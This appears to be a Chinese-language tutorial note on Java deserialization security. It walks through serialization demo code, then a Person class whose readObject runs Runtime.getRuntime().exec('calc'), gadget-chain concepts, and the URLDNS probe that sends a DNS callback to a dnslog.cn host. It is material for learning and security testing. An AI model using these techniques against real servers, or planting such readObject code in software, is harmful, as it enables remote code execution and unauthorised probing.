Java安全基础
序列化和反序列化
-
序列化:把Java对象转换为字节序列的过程
-
反序列化:把字节序列恢复为Java对象的过程
-
使用原因:用于传递
-
常用协议:XML&SOAP、JSON、Protobuf
-
使用方式如下:writeObject()、readObject()。(静态成员变量、transient标识的对象成员变量不能序列化)
Alt + 7调出Structure
Person.java(需要实现Serializable接口)
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person() {
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Persion{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
SerializationTest
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}
UnserializeTest
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}
-
安全问题:只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。
-
可能的形式
-
入口类的readObeject直接调用危险方法
-
入口类参数中包含可控类,该类有危险方法,readObject时调用
-
入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
-
构造函数/静态代码块等类加载时隐式执行
-
- 入口类的readObeject直接调用危险方法(基本不可能出现)
Person.java中添加以下代码
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
序列化再反序列化,执行readObject代码,弹出计算器
- 入口类参数中包含可控类
条件:(1)继承Serializable、(2)入口类source(重写readObject 调用常见的函数 参数类型宽泛 最好jdk自带 Map,HashMap HashTable)、(3)调用链gadget chain 相同名称 相同类型、(4)执行类sink(rce ssrf 写文件等等) 最重要
URLDNS
Ctrl+H调出查看类层级关系图同版本
-
利用点仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次 DNS 请求。
-
但是有以下优点:
-
Java 内置的类构造,对第三⽅库没有依赖
-
没有回显的时候,能够通过 DNS 请求检测是否存在反序列化漏洞 URL 类。之后调用openConnection方法,不是常见函数,很难往下利用。
-
- 利用URL中的HashMap(错误示范)
public static void main(String[] args) throws IOException{
Person person = new Person("aa",22);
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
//put已经发起了dns请求,put调用了hash,hash调用了hashCode(key),hashCode调用了getHostAddress方法
hashmap.put(new URL("http://k15i0g.dnslog.cn"),1);
serialize(hashmap);
}
坏处:1.可能误以为是反序列化发起的dns。2.反序列化的时候其实收不到dns请求。
原因:URL类中的hashCode,再hashCode!=1的时候直接返回hashCode,而序列化的时候hashCode已经!=1了(初始化的时候才为1)
解决:1.put不发起请求。2.使用反射技术改变已有对象的属性,把hashcode改为-1。
link:https://drun1baby.top/2022/05/17/Java反序列化基础篇-01-反序列化概念与利用/